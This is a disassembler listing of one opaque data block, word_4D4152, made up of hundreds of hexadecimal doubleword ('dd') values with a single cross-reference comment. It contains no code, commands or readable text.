word_4D4152 dw 477Dh ; DATA XREF: ___:off_42E644o dd 0F027A757h, 771F17F1h, 0D2A700D5h, 8BF8E508h, 0FF28B82Eh dd 93561301h, 0D370D1DCh, 0B9973ECEh, 0E70FAFFh, 3E782739h dd 0A0E812C6h, 31C22600h, 52142B9Ch, 5E942585h, 24608460h dd 0C19EEC00h, 12EE3E7Ch, 0BF8A0270h, 0E091756Eh, 0B63240D7h dd 0EBB7A018h, 786D0032h, 1EF00774h, 0F90790F6h, 7280FC51h dd 0E2D49990h, 13DC0734h, 70AB79A3h, 1C623A90h, 0DDC05D00h dd 0EA0AEBF6h, 71EE0AA6h, 0F41120h, 54B8DCE0h, 7E00A026h dd 30169912h, 4CCD3D2h, 2514BF44h, 0F759C7D9h, 3532700Eh dd 68008D91h, 0E4CC5467h, 10F6CABh, 0F75AEE2Dh, 40C2FC6Fh dd 3FD122F4h, 2145FD01h, 0C3696117h, 2EA1E0h, 1B8332Ch dd 8D1D63C0h, 0F308FF00h, 4E600D47h, 0BB40058h, 0ADF52B3Dh dd 0AF00C43Bh, 0E4281099h, 1EF0D071h, 6C41F686h, 8DE7003Ah dd 1599E336h, 0D5C2F500h, 0ABF3CC03h, 3BFA0088h, 715826C7h dd 9502EAB0h, 4A49592Ah, 0E52DCB2h, 26BE469Eh, 5F1D006Bh dd 6D40ECE5h, 0EA881A00h, 4FA172C6h, 0E62D48B9h, 29A40400h dd 0CCD9D3B7h, 63F3032Fh, 0B9108009h, 9BE600C3h, 58AF12D4h dd 290E9FFAh, 40A388E2h, 7E08E767h, 2828C00Fh, 18E4A6D1h dd 0FA711600h, 3A501BCBh, 23460F9Bh, 69E0CE6Ch, 5A9DDE35h dd 0A220D912h, 0E3AB4C00h, 0E67656E5h, 2A920059h, 3AD893F3h dd 1A00D15Eh, 411572A2h, 0A01D5DB3h, 49528089h, 0A348E0EAh dd 0DA83A409h, 608AE001h, 5766F4DCh, 11A77900h, 0A0736EBh dd 1FE87CD9h, 0CAA51321h, 0BBC3956h, 807D1563h, 23BB5A0Eh dd 0D65E0048h, 951D9141h, 3F007E5Dh, 50FE6AAFh, 9839C3h dd 4C22BC52h, 0F22D2ADEh, 0BB008173h, 0C51037AAh, 0ECA1F854h dd 5150EEDh, 0FE042E6h, 0FE1627A3h, 5EACBD00h, 9A2D80DAh dd 67391D18h, 0D8A9C0C0h, 1B56E102h, 51A04B00h, 0B4155D5Fh dd 0CA2E30E4h, 688F13CAh, 42569500h, 9A24F69Bh, 0C4610E62h dd 0FDE01E5Bh, 0EE681A6Bh, 4183E516h, 0AE63BB00h, 4CABB955h dd 7748A2h, 0FB04FA9h, 10AAE398h, 8EA3643Fh, 40C1CC6Fh dd 0D95EA83Bh, 0A255007Dh, 0CA41A091h, 0ADE4191Ch, 0B9D4E81Eh dd 6244F100h, 1BF98CCh, 0B5DB792Dh, 20C12122h, 0D87D26B2h dd 7ED69700h, 625FBA60h, 4C30E58Ch, 0C4544413h, 8E0B4610h dd 96855F0Fh, 0F0B3B9A2h, 6A5AAC48h, 0D6993Eh, 3426C93Bh dd 0FE9EE9EFh, 5DAC00FDh, 446ADA81h, 0C10C6203h, 5EE793DDh dd 6D530008h, 0E1763048h, 440043EDh, 269B40F6h, 77B538h dd 0B3D62C68h, 0D0A59AC3h, 0F694EA0Eh, 0A3E26715h, 0E8C00684h dd 71D441E3h, 0F2EB600Eh, 0B617282Bh, 56B8DA03h, 0FBA41551h dd 48008716h, 0FAEC711h, 464754DDh, 45718AE0h, 25601231h dd 0A6B4A8F0h, 1F5EFAFFh, 47B31662h, 0F09FC828h, 8A5D5BAAh dd 26115500h, 2A96AEBFh, 7E2500FEh, 89D6313Eh, 1824A0D4h dd 0D20020CEh, 514D7D6Eh, 6885009Ch, 86B187EAh, 1A01AAFCh dd 0A39EC144h, 8EC8DA97h, 0BCEA2E80h, 409C1C27h, 0E1053552h dd 1C00CBD4h, 0F374BA11h, 0B2F0Fh, 0B19EAA16h, 93872AA9h dd 669CB600h, 0FC1FAFE0h, 2A84E68Ah, 48E05F03h, 0B276EA14h dd 80AA612Ch, 0F0AD373Eh, 0E7E487B9h, 3C7259h, 0A6A8935Bh dd 0B8E91513h, 63640576h, 28FEC28h, 0E6E25F80h, 0E0D8805Fh dd 2AB369h, 137A3A22h, 0D33FE765h, 0F06AD407h, 8C339CBDh dd 7956889Bh, 0FBE200D7h, 0F5429D36h, 0F590518Ah, 98D6C400h dd 0A8FE06EDh, 0E172BEh, 0CCD7B430h, 60AF6CD9h, 9503B700h dd 3E1690ECh, 0A0D20FD8h, 5EE92C4h, 6858D9D8h, 9491200h dd 3CB6947Bh, 3F1C08C5h, 1605A5B7h, 884080F1h, 72ADFDBCh dd 0DEFE0011h, 92DB51EFh, 5B494075h, 70243C60h, 5C8F9900h dd 98FFC88Dh, 6D1502EEh, 0A1DF601Bh, 0BF233E60h, 5CE78918h dd 888458h, 392B1E5Ah, 0FBF0D286h, 0ABE2BC00h, 99AA0EB0h dd 6D0A0E45h, 0EF93D452h, 3B9A14h, 0C7728877h, 0A78468h dd 7ECD2007h, 0E5ACB2D4h, 0CC481C90h, 6FC7006Ah, 0FB27AE08h dd 0B7EA8Bh, 24097B87h, 9741BFDAh, 3146762Eh, 0B8770600h dd 1CFE1Bh, 0EBC54F64h, 0FDD1A89Dh, 0B57E400h, 2E802747h dd 567E81h, 690CC9B5h, 0B8FD098Dh, 0CDE8C706h, 0D85B6Bh dd 351CFBB3h, 0B1758AEEh, 0B8B07C50h, 0ED8C8713h, 43AD6000h dd 67EA61h, 0A87A0C70h, 97DB454Fh, 158CC800h, 1168C9EEh dd 57710066h, 0B1F8A825h, 50003D2Ch, 7FC541B9h, 0F464F2h dd 81DA80EFh, 210118C3h, 3AE24300h, 9BD27F4Bh, 0E0A550F8h dd 2240008h, 0E6480D0Bh, 0F0041D1h, 0D4868B58h, 1F9F76Ch dd 34DC212Dh, 281C24C6h, 0DD350054h, 0B74AE1Eh, 9B30043h dd 0CFA28655h, 9B5CA497h, 795A0618h, 12F1FCD6h, 0CAA528h dd 0DBB95908h, 98002C54h, 5351DCA8h, 7CE469h, 5B9F0472h dd 32EF050Bh, 38548000h, 878D0CF0h, 4B061723h, 80261FACh dd 0B4D4F370h, 0CD0B414Ch, 3D8C5h, 9401ECF3h, 25CF1D4Fh dd 0F78C07Bh, 9E8223A2h, 0B1096DF6h, 802FC7BBh, 0EB75684h dd 0CA630030h, 35B66F88h, 6400AAB4h, 0DC5CE4C5h, 779D3D3Ah dd 0F652006Ch, 935A8561h, 0B60027A0h, 39CBB0C9h, 50B1DA1h dd 0AC7C755Dh, 40AC5C2Ch, 1C99FE20h, 7D00B28Ch, 47C4EA5Dh dd 38A1897h, 1BD1C8A5h, 57FBC068h, 0DF9FE80h, 3A311700h dd 0DCA080C2h, 0A9E500A5h, 0EB43E622h, 668099C8h, 0C42A5D1Bh dd 174DDA00h, 430FA4F8h, 0E0FA0715h, 911A0080h, 4712D7ACh dd 139882h, 40FF7980h, 223033CEh, 0B845553Ch, 73C38757h dd 66F002AEh, 0FDAA32h, 3EE4049Ch, 8975E6C6h, 0EF5B5600h dd 0E8B30DD4h, 407E0947h, 1880D957h, 15BB6D25h, 0ED0F9300h dd 638769Fh, 0A0394816h, 0CC12703h, 58C62072h, 0BB77B600h dd 0D195CD7Ah, 4A992408h, 179B0068h, 56C719FAh, 403F2800h dd 5A4ED8C1h, 0EA440086h, 55A2C9ACh, 0CB009548h, 663FDAC2h dd 5C477670h, 0A4133408h, 11C80059h, 26504B63h, 72A9E93Ch dd 10A1A80Fh, 0EB21A0FFh, 9E3599h, 4F20FE47h, 0CDC30507h dd 55122D03h, 8063F9F0h, 231327Fh, 0B981B671h, 0D4400A7Ah dd 0CC708C4Ch, 1058D430h, 729F437h, 1CE2CA90h, 6E408061h dd 28004A17h, 965FD64Ch, 0EBEE8F3h, 0C2A20EEAh, 1603A940h dd 2E00F680h, 5F6CD7CCh, 61ED27h, 0AFDCC8C7h, 0B8B0546Fh dd 2E98D0A0h, 0E6F29B0Bh, 955380C3h, 54E0CAh, 85B2BC97h dd 626D4309h, 0C9ABA903h, 9807CFB4h, 1DC718B8h, 4093E6BBh dd 0E7C1D3EDh, 9CFA2281h, 0AEEBD700h, 72C5BC8Fh, 0CED1A109h dd 0C74E8h, 0A923ABA2h, 0DE2F6E95h, 62B2280Bh, 0B30C201Ah dd 8E0DEBh, 8B41487Eh, 0B0866C32h, 0F90005ECh, 3E400AF2h dd 0F3E59B39h, 2E729DECh, 0EAB379h, 1A777FBDh, 2A0032ECh dd 0E2D8B103h, 7576253h, 0C33A1F79h, 8C16F086h, 0FA0FFC56h dd 0C0D5209Fh, 0BB948475h, 586017E4h, 1428814Ch, 8DFBE42Bh dd 0C9BE0E00h, 3BAC106Fh, 0F8B8A7h, 955589B7h, 327E7B27h dd 0A800B5E2h, 24E8064Dh, 488E3D20h, 0E31F505Eh, 2358C153h dd 30CBC28Ch, 2F0054E0h, 0FD3395F2h, 0F11D6Ah, 7EEFF969h dd 0FEDEEDDCh, 0B8769C00h, 0C2CCC7A8h, 0F483C12h, 0A4FB2483h dd 0C0F4677Dh, 409A98A8h, 6BC5EE1Fh, 25CCB9CBh, 1CD19FA0h dd 0F63060FDh, 5D230414h, 0E051886Ah, 32005274h, 0AF59C22Eh dd 607C5B16h, 1B10D8DCh dd 0CB00C49Ch, 0B85E6FD8h, 0B8F4C506h, 0B04E75E2h, 0CA9C00E6h dd 0AAE3D0CDh, 0F300E593h, 343C6A8Ch, 24E4C8h, 2DC103Eh dd 0A79C9A5Ah, 0DF774107h, 6ED03468h, 0D15C82h, 0E0F036F1h dd 0F4AFAEC3h, 0C79AA200h, 7FE35E42h, 0B058E6CCh, 81D80068h dd 0A0C1AFB6h, 250086F2h, 0CD783867h, 3E7AF1h, 42A5998Ch dd 6BEE056h, 0F5CE1900h, 2601032Eh, 7FC300BBh, 0BC6DCC68h dd 2D0110A2h, 8599AE7Dh, 0B0F4BA78h, 0D4B0B2h, 1497271h dd 2030F6E0h, 6B8C1800h, 5A8339A2h, 0FCD3546Ah, 5FAC09ADh dd 54C83AB1h, 0D7005B4Bh, 8E29933Ch, 58BFCA97h, 0AD0044F8h dd 352DDADCh, 5700DEBBh, 2BB871ECh, 0A993A3h, 4E3D1468h dd 3C6C4009h, 809DD038h, 5DA4A297h, 14818D8h, 0CA3D05B4h dd 0DC14784Ah, 5BFCB20Fh, 843E2F1Fh, 0A9741DC0h, 94D151h dd 6E91C708h, 2D3323BBh, 0D6895800h, 48B3F214h, 0F0A092D3h dd 61C9F852h, 0C0AD3095h, 35498003h, 1844A91Bh, 0A851D67h dd 40DC1239h, 0D537CECCh, 5C00F17Bh, 629D02E3h, 0B03DE4C1h dd 45F8003Ch, 4F8035DCh, 2F1E47CEh, 6C4FB015h, 0E7ACEEC6h dd 22D0BCE5h, 55C2D96h, 0FB169E94h, 0A019C05Ah, 0FAFEF524h dd 0CF000C7Eh, 0FCAEEED4h, 39E1D521h, 8206F310h, 39483C61h dd 24E9725h, 910FDA80h, 89D5410h, 7E92ECh, 3B715120h, 1A00EB9Dh dd 0D05C4E31h, 7F645B4Ah, 3CD00A8h, 0E620EE1Eh, 29381B0Eh dd 970D0030h, 0F454C586h, 0BD33C09h, 5DD4BE00h, 0F32420A6h dd 0FBDDA30Ch, 2B88863h, 2DCF9F8Fh, 0CCC0BB5Dh, 2E1DB0DCh dd 0E165C24h, 2DF51C40h, 0CED91C3Eh, 3CEB1820h, 7F242448h dd 89665400h, 40824B6Dh, 0A74D002Ah, 0F22D08DEh, 5C3971D9h dd 65316EE4h, 0CC42DBD1h, 403BC18Fh, 32EFE14h, 662508E2h dd 0F2D8289Fh, 0A21FD8E4h, 0C300D326h, 71DF0482h, 2A6D3D9Ch dd 7EB58B85h, 0E19C8069h, 423F986Fh, 0B91A07A4h, 597030ADh dd 49F91DE3h, 460604F6h, 8905D314h, 0AB044AF1h, 2E9BB580h dd 3A00FF7Eh, 34F63858h, 0C57C2Ah, 0B676882Fh, 0F8978378h dd 6B2EE007h, 718745F0h, 7E2C804Fh, 0F2D3DFAh, 5779F974h dd 6F80EC89h, 3009F544h, 3C3F0AF4h, 7FE0358h, 0D8EC8BA4h dd 0B840922Ah, 0FFF85Fh, 0E7471BD9h, 3962D3Bh, 6BF80B0Fh dd 58422561h, 24AD5C28h, 1C80275h, 8AC0EA7Fh, 0BB73D425h dd 0EF69E900h, 0F1B6585h, 1C0701ACh, 0CA70FA03h, 0DF2988CFh dd 9A9B84BCh, 42530817h, 0DB249108h, 119CC121h, 8711212Fh dd 93541794h, 0FB44C948h, 44F4B623h, 47449263h, 8E15C91h dd 4F90EBF7h, 4896B284h, 9D0D42E3h, 2294CB22h, 0BF248CCFh dd 1290FE21h, 422611B7h, 0D610CB28h, 85389E4h, 1843209Eh dd 0E711A742h, 0F13F30E8h, 26E6001h, 90FAB04h, 7E046DDh dd 61006583h, 0F0342155h, 7DC7B7h, 626084BCh, 97BD6E8Ch dd 0A90CEF00h, 4477B936h, 599F0043h, 0BE3AB7B6h, 4F005BC0h dd 91DBCC71h, 45B19Dh, 6583E18h, 0A692AEE3h, 2CFE7500h dd 4D57A440h, 0ADAF3C38h, 7FC61B00h, 0FD7B1962h, 87823206h dd 103DBCh, 8D2DA60Ah, 175443EDh, 623E1100h, 0E74648BBh dd 3A7436h, 4F33A0F1h, 0BAFC0A40h, 0C8CF5Dh, 98124DE1h dd 2EB47982h, 115772h, 0DF303585h, 0E60F71A4h, 0AF5CE7h dd 96EB29ADh, 0D50900C5h, 0EAD3DB0Eh, 82183A97h, 328C64Dh dd 0B69C0032h, 133FBE75h, 0CC009BAFh, 470D61ABh, 32B47Dh dd 0E786157Fh, 0D46D99C1h, 80F849h, 4AD8100Fh, 477134h dd 0B9E74113h, 6433A17Dh, 744BCD1Ch, 3C4F8540h, 0FC286B6h dd 91380129h, 2C7DA4E0h, 57095CBh, 9F24200h, 5512A2A1h dd 0A674F9h, 0F13A4E79h, 1B0324D7h, 94C15401h, 0BEB0C70h dd 0E2F8A0EFh, 0A223A7Eh, 0CB13A08Bh, 4AB75300h, 0DA00E11Dh dd 5130C287h, 0FF6E1Fh, 14540840h, 0B0353334h, 0F367613Ch dd 0E20EB970h, 0A81224Ch, 5C0EF17Ch, 0F4FEE06Fh, 0F8CAE1Ch dd 0B0972164h, 72139D00h, 28003338h, 692559E6h, 0AFA047h dd 0F43B1A2Ch, 61C66F34h, 94A00FF4h, 8D000863h, 0B6289CF8h dd 7D68792h, 0E95C60D3h, 4713D00Ah, 0E303569h, 9597CEF9h dd 0CAA70E8Ch, 36A0B7F7h, 0A49D2BD3h, 3E413C00h, 1D3459B0h dd 0A3D70027h, 90D556DFh, 0FD731712h, 0D4CCCF00h, 0F695B93Eh dd 385301F8h, 4B11EE1Fh, 67C8404Ch, 3D015A21h, 0D2D39FA1h dd 0FD3836Fh, 0AEBA05Eh, 0C147126Fh, 869680E5h, 0D6F2F480h dd 609E10CFh, 0E88A0936h, 8C4486Dh, 22B32E11h, 757100D9h dd 0D6732334h, 1C009195h, 0E7B0818Bh, 1F27DD6Fh, 776E0Fh dd 8DC3AA38h, 0F10034ECh, 5256AC5Ch, 7687F59h, 5DAEE242h dd 0FFF405Fh, 98242E01h, 0E021DE3h, 8046FC80h, 7303EFD4h dd 309C0175h, 19A3E409h, 342713Dh, 38F8AFD4h, 0A8002F4Fh dd 0D8D3F214h, 0F8A5BAE0h, 0C082035Bh, 44FB679Ah, 370FF690h dd 58699909h, 3BE880FCh, 163175h, 880E3CE4h, 0E9FB9B8Ah dd 0CA08F600h, 642ACB2Eh, 19780006h, 0B5525566h, 0BA0F3EEDh dd 403815D8h, 0FD54A3ECh, 1E7D0016h, 79C97119h, 0AB70F8DBh dd 93075C00h, 0B1F58E31h, 0A5D93F8Fh, 0A0D836A8h, 12D8E0h dd 5E50A9B6h, 0A739C246h, 0DF0A9300h, 0AD035641h, 0C7023826h dd 0C54D2203h, 4A8693Ah, 0F73C61C4h, 0CF48809Fh, 0FCECDE75h dd 2A570AFFh, 9C1F7Eh, 6D53B6C9h, 26005E10h, 4576D8D4h dd 2AE98BAh, 51E4E83Eh, 5860B377h, 3C00465Ch, 0A566BEA6h dd 0F27386C9h, 56500493h, 90B46FEEh, 60799C00h, 376CC31Fh dd 85949740h, 2167B4Ah, 9CADF895h, 7FF2188h, 0B0E0F190h dd 38723D3h, 4A4E969Bh, 15E0BF55h, 81C917Ah, 0B7C0EAFDh dd 59CF6FD4h, 6C031C4Ch, 5E731D0Eh, 0D3910006h, 0FA7A5669h dd 0FED92800h, 0D731152Dh, 5E8702C2h, 0A91D0180h, 108B4740h dd 7399F700h, 1EAB24C7h, 0BDB90E22h, 7F40F67Dh, 0A0D88DCAh dd 0E4FF9801h, 56FAEA3Dh, 0F783D880h, 953C58EDh, 25711600h dd 0FC4233B6h, 0EA7D49h, 15C8A2B3h, 0C0DE592Eh, 0EC36390Fh dd 2917CEC7h, 88BB002Bh, 45CC33Dh, 0FAD19E21h, 77E08027h dd 0F0A8BF80h, 7A3EF631h, 8B1E8374h, 89BEDFDEh, 0CC205248h dd 3D5D15BCh, 92E0B099h, 9E26A6E0h, 6401ECBCh, 0CA2984B1h dd 51DC20h, 96379DCh, 0D2919815h, 64109000h, 3A28C81h dd 2B7700D6h, 71BA40BBh, 0FA00E313h, 5F8B1AF1h, 1897FEh dd 0F3CF674h, 0EF30965h, 6FD87600h, 0C1E188C8h, 0EF810B77h dd 9E0023E4h, 675573DBh, 87BDED03h, 0F04C528h, 5D62E006h dd 9CC46EC0h, 2E008D59h, 0BDAA3582h, 1717BEFBh, 0E3399C0h dd 5A0BCB4h, 0E1E7834Ch, 7D08500h, 1BFD2B78h, 0EC09002Dh dd 372F8FE9h, 9812DA49h, 0D830D41Ah, 20810D41h, 0F2059C4Fh dd 0B202821Eh, 9777E880h, 900D0133h, 0BC93059Dh, 0F3F2DCCCh dd 0D0A98A17h, 0B0B7EC00h, 2FDF42h, 4001A5F6h, 75E1DA55h dd 4DBF2A03h, 0FB738095h, 9DCCD84Bh, 2D49031Eh, 61431ACh dd 0B4E0E580h, 0E776900h, 0BBD69094h, 130C753Eh, 23E80B34h dd 0EE003394h, 0B6272B8Eh, 18F573Bh, 0E04DCB23h, 749145AAh dd 4F731F34h, 0BCCF780Ah, 0F118F0DCh, 0C0EE2CA0h, 32CDDE30h dd 4900B2F9h, 4B03840Dh, 26FAE048h, 0B3BBFFh, 43723DD3h dd 60F098D2h, 41858D01h, 0DA0DC635h, 20903C30h, 0C7E8FAACh dd 0E6A19B00h dd 0A6B3BF19h, 0AAF63Dh, 74D12AC6h, 9B98B7FFh, 3F80601h dd 2E14ACCh, 381715FCh, 0C300FB96h, 4EA494D1h, 2C5C1952h dd 8892006Eh, 974D416h, 3789A81h, 26F6A61Ah, 0FE88691Fh dd 0A1002B66h, 0F3A2D45Ch, 5E06Bh, 126EDB45h, 9713ADD8h dd 10D3E130h, 7FCD84h, 0DF2E1602h, 6C475653h, 0F9B07400h dd 0ECB7B0Fh, 0DDC000D6h, 1E91ADB2h, 6506DF27h, 7F66C416h dd 353009E2h, 9D01B4F2h, 0C54342B3h, 0E619E404h, 0C64EE306h dd 3820BEh, 505B9481h, 65608283h, 0E400F970h, 18447639h dd 70D28C5Ah, 1CB0FCh, 35BC167h, 6437A8C0h, 57886B07h dd 0E3E051C3h, 3BF6B77Ah, 748034B0h, 59306962h, 0E500B25Ch dd 42FC236Ch, 128FF91h, 31EACA58h, 1FEA5C5h, 6EC8C78Ch dd 160C924Fh, 387BFDEh, 44123D18h, 323863E8h, 351A3318h dd 7343D518h, 5F954893h, 0E3FA7700h, 0C6267C47h, 51CE0909h dd 2EB80E39h, 4C00FD7Ah, 187D6CADh, 2201024Eh, 0C1B50205h dd 0F3921960h, 64B11F00h, 0C3F680C0h, 4D79001Dh, 99558E6Dh dd 0E3011757h, 0C8D6BA81h, 0B820AC1Ah, 0FF5F00AFh, 0BD89E91h dd 0F1EAC47Eh, 5C09B77Fh, 0D94A2Ah, 0DAE40D68h, 505E2E3h dd 0ECC61851h, 0FFA84164h, 0D84946B9h, 0AC024280h, 0DEDE30Eh dd 3BCCC4AAh, 77A82Eh, 15235A4Ch, 7DB072E1h, 0F41B951Eh dd 40E8B887h, 39BFD290h, 0FD2D28DDh, 90B400A8h, 838F9A14h dd 361E4AC3h, 0F1807728h, 74AECB7Ch, 146890F8h, 0A86EFA87h dd 5ED37D01h, 0FDB74252h, 0F05ECB8h, 0FA91D13Dh, 51A93A00h dd 690C8010h, 905C02C6h, 1D252F71h, 0C3650A60h, 91585604h dd 80F44D77h, 0BA227E7Ch, 0CB98D4h, 670911C6h, 0CB97EDFDh dd 0BA3BB300h, 76412985h, 384B6014h, 0E71B5C7Ch, 0A63E7807h dd 2C30978Ah, 9A0E433h, 9E6AFEB9h, 0D97B6502h, 6B59060h dd 0E10057ECh, 3B07EC53h, 3B3549C4h, 300EABB9h, 805E500Bh dd 0AA8B7246h, 0BC0A6081h, 0F005DA5Ch, 10126C13h, 3303A900h dd 0FB11A28h, 4EC04D32h, 0F87D41A0h, 7019438Bh, 1210AB95h dd 32017C0h, 0D1A9F52Ah, 0D0FF1990h, 0C3ABB2BDh, 3BF99100h dd 7437DA92h, 0C71877EDh, 91AA6538h, 0C4E03847h, 0EB00A569h dd 786F9F0Fh, 0C65EA93Dh, 0CE5BC829h, 0B9CBE00h, 40D84AE9h dd 0A2180078h, 3346DD10h, 3B008FCCh, 8051D35Dh, 50965C72h dd 4AECA021h, 0CF804490h, 760F008Eh, 456C3Bh, 0C5577856h dd 0BBC4FBC6h, 0C1014971h, 3EF5D312h, 0A02C93B7h, 4B2DB500h dd 3F8BE6D1h, 80F4F239h, 2A6ECCD7h, 143AE8C5h, 0C40F25ACh dd 0A44CD300h, 28033440h, 1B723C12h, 73749300h, 0EA939D1h dd 705758FAh, 5D5C7C0h, 4F002BA6h, 0B709307Ah, 610A950h dd 88404228h, 67003032h, 236F05E5h, 0BC644BAh, 0AEB6E199h dd 3D5CE50Eh, 0E6837D00h, 92E0A360h, 6B0016B0h, 850B4D0Ah dd 2EF35CFCh, 51F8B2h, 0A75D6D93h, 0D507090Dh, 0D04FA43Ch dd 0FE244700h, 86D8021Bh, 76EB3140h, 0F8B133C0h, 910FE876h dd 819F548Ch, 0DF31B8B6h, 5F92C4h, 0C7496037h, 0A50416Ah dd 7178360Bh, 8EBD07BEh, 267EA820h, 59FCB8h, 3E76DC1Bh dd 0E24F7065h, 2BD5B609h, 0DC5036h, 1D0B8E57h, 54A98072h dd 0AE225207h, 6200BF31h, 0F6B75C67h, 962C1F70h, 42EDC1D9h dd 40408F79h, 4718E3EAh, 2600A898h, 8B9D9B51h, 0C742DBh dd 0CA9BB44h, 58642D21h, 0B171FE63h, 3A6740Eh, 2F822A45h dd 48E05D1Fh, 720087C4h, 8F636C18h, 12CEDBh, 5340E341h dd 84B403BBh, 93072B00h, 0F0ABB5E8h, 0D66B0779h, 92562695h dd 0D4E89855h, 0EE401052h, 50CE0B6h, 21CED0F7h, 652CA06Fh dd 0BE055091h, 0DCC02F7Bh, 15445CFh, 0AB465C19h, 38BB9C18h dd 0E64858h, 44F4F12Dh, 0D1C7ECh, 556BDF83h, 0A79EFC0Ah dd 0FD00209Eh, 344D1357h, 3D389837h, 0D2C5887h, 98948228h dd 0F84172DBh, 7D7C399Ch, 4C296E01h, 2CF5BC47h, 0C32E7080h dd 0E5B6EFE0h, 2D4C24Ch, 1B226027h, 95858A7h, 31987747h dd 0E660488Fh, 0AEEAC02h, 5534A01h, 0AA404159h, 0F44C6C30h dd 0E7E10E81h, 0C0D3C177h, 0D966A434h, 82365302h, 0A0849729h dd 0C590098Ch, 816D18D8h, 0F32EB844h, 0F2FA7B0Ch, 921108h dd 48E70235h, 149058Fh, 0A2C8E1C7h, 0F411CAAFh, 9493DA86h dd 99AD0059h, 0BD9E5398h, 0DC9C0D71h, 0F7883100h, 391207Eh dd 0BC763FDAh, 5BF06901h, 0FC0089E2h, 48D441A1h, 18B7810h dd 0B88D7D0Ah, 30337912h, 0DB00A45Ch, 5A9B8274h, 2A32516h dd 0A092BE27h, 0A5406C5Eh, 0B000FD8Dh, 0B11188E5h, 797709h dd 6740314h, 67E65991h, 0F905C8E8h, 6FF432B5h, 4D6A1C90h dd 0A509001Eh, 60B1CCC6h, 0A9246941h, 80003879h, 40D91B28h dd 0D055002Ch, 0D40E7C5Eh, 0AC7359B5h, 3B152000h, 962882B8h dd 0A4A91EAEh, 5A2285E9h, 0FC904B69h, 2E811780h, 0C004DE4h dd 0A657D70Dh, 87C68Fh, 0FD1078A8h, 994B74D8h, 68296500h dd 3BEE1AC1h, 958EC5Bh, 76C6CD9Ah, 0AD73C800h, 3400B381h dd 0EAC28052h, 748D9Bh, 0E8437BABh, 368CC529h, 2CC1AA00h dd 99954DF9h, 0F80D58A1h, 25CFC700h, 47B6E539h, 0DC119300h dd 98F28BC1h, 0A851282Ah, 0ACCB4DDh, 28B091FAh, 0EC220969h dd 9B00509Ch, 82E25FE8h, 4C73BD0Fh, 0A3386414h, 78B48480h dd 54B0FFh, 94A50860h, 9A185BB8h, 0A2A30F02h, 44582EE5h dd 5C8F0014h, 0EA544230h, 19006D15h, 0DC23A2C1h, 60EDB97Ah dd 883B6C4Fh, 0F490F743h, 5601CA03h, 6F9F899h, 53AA4B10h dd 0D93EC831h, 0CAD2EDAh, 1BF5803Ah, 0A2EA307Ch, 0AB661294h dd 0E004D04Eh, 9A1CF914h, 3E2BDAh, 34DD3D22h, 4A2510h dd 0D2EF327Ah, 0EE963B52h, 73B4FB1Ch, 0C99C11C0h, 940672h dd 0CB644DF8h, 15E23CCAh, 0A31DDB00h, 0DD4ED3Bh, 10670051h dd 0BE80A6ABh, 0CC4CB8F8h, 149A00FCh, 25B4C701h, 318F0361h dd 0F79F3708h, 160ADFB0h, 8E42CC3Fh, 43A71439h, 0A85ACAB8h dd 7A9303Ch, 4A6DE66h, 8F47C0F9h, 89000998h, 60B2F045h dd 8ED858h, 0C802E4DFh, 6E646C7Eh, 0EEF22400h, 18335941h dd 451500CAh, 0D1FE05F8h, 0E3036952h, 0A48E153h, 0F4BA989Fh dd 56EEA5h, 3E8BC92Eh, 4F63CE3Bh, 0A48159DDh, 58931CB1h dd 89A870h, 0DD5E554Ch, 7B30FD12h, 0E1B40700h, 7F812559h dd 17F8033Fh, 312E13D4h, 42F28016h, 893A4A0Fh, 99D90CDAh dd 4BA90049h, 5EA21FAEh, 7B07FC54h, 1A97BD2Ah, 0C8F56BE1h dd 0D99BCCh, 4A45C447h, 31750EFBh, 0E51E7C01h, 896BBD21h dd 15DFF0h, 33D5597Ah, 9936F85Ch, 7FB56A16h, 4BA44040h dd 0BD747Bh, 0B991CD52h, 0D744CEA0h, 72CA6501h, 36E304B1h dd 7C600EF1h, 0F14339E6h, 5CF21Ch, 0C2AC0333h, 9A0035DBh dd 0A550BEF4h, 0FB2E6Ch, 6EE1CF5Dh, 0A8D4C3Eh, 9001E7Ch dd 1AB25AB5h, 5FD36Dh, 28699BEFh, 2F1790E1h, 0AD7DD600h dd 9802519Eh, 75D8070Fh, 0CBE37766h, 0AAFAFC40h, 6EB10D00h dd 9C9F3071h, 0E1DA0A99h, 1A7F4A0h, 0C8BA7679h, 0AE318721h dd 85539D8Dh, 0FF9A80E9h, 4240064h, 95D11732h, 0B60089E1h dd 6D1F4E33h, 2C4658Fh, 0BA6BBF0Eh, 904031D3h, 1B000252h dd 83A6FE35h, 0B48F83Ch, 9B09C30Bh, 4DC08023h, 57C01993h dd 3360781Ch, 632FFF38h, 931400A3h, 39AD5CFEh, 5200497Ah dd 119C906Bh, 0F6F6423h dd 932B85B1h, 0DD7C0E53h, 0AF562960h, 4F26435Dh, 1783CC91h dd 0F01F0A1Ah, 9A9FFD1Dh, 4CF405C8h, 905A5BF3h, 0DA9B4E60h dd 4B0049B8h, 780E6122h, 0FD9EF7Ch, 318CCF33h, 579C40F3h dd 0A521B2D8h, 2F511CFh, 87F45508h, 24E05240h, 967D068Dh dd 51440FFCh, 73A070EFh, 0E4813A6Eh, 27BAE00h, 0D23B2F4Dh dd 79560016h, 5B583F55h, 0DD05DC61h, 24EA4732h, 63D67080h dd 3C9AF3h, 1CEE3FC9h, 1AB988A8h, 5683000h, 1B5AC236h dd 29FD6191h, 60A43273h, 500EA822h, 41B6C4A6h, 0C80552ECh dd 3C0C72C8h, 2C001A0Ah, 926BCBEh, 0C2009949h, 2DE47E97h dd 79A12108h, 79B0B10h, 40588C91h, 7BC8F812h, 5DCE1C40h dd 7177B62Fh, 8E2E3864h, 0D72A4B80h, 6BA46EACh, 0E5F5E800h dd 66B223A0h, 5DCF0193h, 3F733780h, 9F81701Fh, 0BE36C00Fh dd 0D0D3A002h, 3724524h, 22E217E4h, 6790AF34h, 0FD5AB9CEh dd 0F37788C0h, 0D0AC00F9h, 19451291h, 66703FB2h, 31565500h dd 0DB84A3E6h, 0DA250043h, 0F82A5D9Ch, 0B023EF3h, 68502713h dd 7E45044h, 0FD75921Dh, 6BA25F9Dh, 9CE1037Ch, 0F938A0C7h dd 360CF58h, 9B83C5B3h, 19F804ECh, 90C11159h, 0EF303828h dd 0D15D5F00h, 0A046C96Dh, 0FAEAADh, 3C0FD961h, 6693EC65h dd 0AFF98300h, 0E4AC2612h, 81010013h, 5F0631F4h, 0E30239C2h dd 80553F97h, 0D57EC038h, 0ECEE075Dh, 80616BB4h, 0BD448D9Ah dd 0CB936E00h, 97A3207Fh, 21998F2h, 99DEB0D2h, 0D48191EFh dd 